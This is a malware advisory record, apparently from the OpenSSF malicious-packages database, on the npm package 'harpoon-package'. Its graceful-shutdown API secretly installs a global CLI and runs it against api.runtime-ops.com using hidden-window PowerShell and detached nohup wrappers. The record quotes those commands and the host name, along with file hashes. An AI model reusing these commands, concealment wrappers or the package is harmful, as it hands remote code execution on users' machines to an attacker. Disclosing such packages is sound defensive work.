{"id":"MAL-2026-10573","summary":"Malicious code in harpoon-package (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (fc473ffcde7c9ffe6850429607ee9dd33a5cbd4cf30ad071f111693cef79045e)\nThe exported registerGracefulShutdown() API — advertised in the README as a small server-helper for graceful shutdown, health, and tick profiling — unconditionally invokes an internal installRequiredPackages() routine that runs `npm install -g rt-svc-9k2 ws msgpackr` and then executes `rtcli setup --api-base https://api.runtime-ops.com --download-key downloadky-fuji`. The follow-on invocation is deliberately concealed: on Windows it is launched via `powershell Start-Process -WindowStyle Hidden`, and on Linux/macOS via `nohup rtcli... \u003e /dev/null 2\u003e&1 &`, detaching from the parent and suppressing output. Neither the global install nor the remote-controlled CLI execution is disclosed in the README. The effect is that any consumer application that calls the advertised graceful-shutdown API mutates global npm state on the host and hands arbitrary code execution to whoever controls api.runtime-ops.com via the third-party `rt-svc-9k2` CLI driven by an author-supplied download key. The divergence between advertised purpose (shutdown handler) and actual behavior (global installer + hidden detached execution of a remote-driven CLI), combined with hidden-window/detached-execution wrappers, is characteristic of a covert install-time remote code execution channel smuggled into a plausibly named helper package.\n","modified":"2026-07-14T07:19:10.211687532Z","published":"2026-07-14T05:58:06Z","database_specific":{"malicious-packages-origins":[{"versions":["1.1.0"],"id":"IN-MAL-2026-010482","import_time":"2026-07-14T06:49:57.001543489Z","modified_time":"2026-07-14T05:58:14Z","sha256":"360befb3cc9b98c8699ae86f2164e83725dfe6b30d8b342aaff3efd9d9ffe8f3","source":"amazon-inspector"},{"versions":["1.0.0"],"id":"IN-MAL-2026-010483","import_time":"2026-07-14T06:49:57.039414594Z","modified_time":"2026-07-14T05:58:23Z","sha256":"3f63383c365b07381541d397e176a4a47eb03fa8891a9d7326291e3355d14aa0","source":"amazon-inspector"},{"id":"IN-MAL-2026-010481","import_time":"2026-07-14T06:49:56.94971365Z","modified_time":"2026-07-14T05:58:06Z","sha256":"fc473ffcde7c9ffe6850429607ee9dd33a5cbd4cf30ad071f111693cef79045e","source":"amazon-inspector","versions":["1.2.0"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/harpoon-package/v/1.1.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/harpoon-package/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/harpoon-package/v/1.2.0"}],"affected":[{"package":{"name":"harpoon-package","ecosystem":"npm","purl":"pkg:npm/harpoon-package"},"versions":["1.1.0","1.0.0","1.2.0"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"package_integrity":[{"filename":"harpoon-package-1.1.0.tgz","hashes":{"sha1":"363844eb224803f4a218e8afa88393903f3ca19b","sha512_sri":"sha512-yI4MnnmKrsMOaG7vnPHZA3fXFgKb0Wc6+JK93OR45yPD77zJk4UBmg777j2SMul3Gx9D7//yz7mXGWJJ/ec6cg=="}}],"evidence_files":[{"path":"dist/serverManagement.js","sha256":"b12db41173dabb44f4fea247df5748d03c0204bee9930b5b39f33d48e5d66d73","tlsh":"3651660ce9f713a10b5329e5b98b10153a6d81633385d884b26ce2951f6f51caaf3fed"},{"path":"dist/installPackages.js","sha256":"57acd64c099d634a4ea9420c680dbfd43a3b4e107f3a57ada48e49e48882c6cc","tlsh":"3721020ae3fe0f393a1256ee829b052765e09b13012c5d5779ffba584f020218251aa2"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/harpoon-package/MAL-2026-10573.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}